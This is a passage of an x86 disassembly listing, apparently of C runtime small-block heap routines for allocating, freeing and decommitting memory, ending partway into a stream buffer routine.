loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 28E084Eh
		nop


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27C0000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28E084Eh
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		nop
		call	near ptr 27C0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28E084Eh
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 28E0A43h
		nop
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
